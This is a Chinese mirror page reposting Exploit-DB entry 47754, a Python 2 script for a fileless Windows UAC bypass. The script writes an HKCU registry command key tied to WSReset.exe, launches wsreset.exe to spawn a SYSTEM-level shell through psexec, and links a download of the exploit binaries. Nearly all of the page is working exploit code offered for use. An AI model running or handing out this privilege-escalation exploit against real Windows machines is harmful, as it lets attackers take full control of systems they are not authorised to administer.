Microsoft Windows – ‘WSReset’ UAC Protection Bypass (Registry) - 体验盒子

作者： valen

日期： 2019-09-02

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/47754/

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#### Fileless UAC bypass (WSReset.exe)

#### @404death

#### base on : https://www.activecyber.us/activelabs/windows-uac-bypass

#

## EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47754.zip

#

import sys, os

from ctypes import *

import _winreg

CMD = r"C:\Windows\System32\cmd.exe"

WS_RESET= r'C:\Windows\System32\wsreset.exe'

#PYTHON_CMD = "python"

test_cmd= " -i -s cmd.exe"

SYSTEM_SHELL= "psexec.exe"# to get nt\system

REG_PATH= 'Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command'

DELEGATE_EXEC_REG_KEY = 'DelegateExecute'

def is_running_as_admin():

'''

Checks if the script is running with administrative privileges.

Returns True if is running as admin, False otherwise.

'''

try:

return ctypes.windll.shell32.IsUserAnAdmin()

except:

return False

def create_reg_key(key, value):

'''

Creates a reg key

'''

try:

_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)

registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)

_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)

_winreg.CloseKey(registry_key)

except WindowsError:

raise

def bypass_uac(cmd):

'''

Tries to bypass the UAC

'''

try:

create_reg_key(DELEGATE_EXEC_REG_KEY, '')

create_reg_key(None, cmd)

except WindowsError:

raise

def execute():

if not is_running_as_admin():

print '[!] Fileless UAC Bypass via Windows Store by @404death '

print '[+] Trying to bypass the UAC'

print '[+] Waiting to get SYSTEM shell !!!'

try:

current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + SYSTEM_SHELL

cmd = '{} /c {} {}'.format(CMD, current_dir, test_cmd)

bypass_uac(cmd)

os.system(WS_RESET)

print '[+] Pwnedd !!! you g0t system shell !!!'

sys.exit(0)

except WindowsError:

sys.exit(1)

else:

print '[+] xailay !!!'

if __name__ == '__main__':

execute()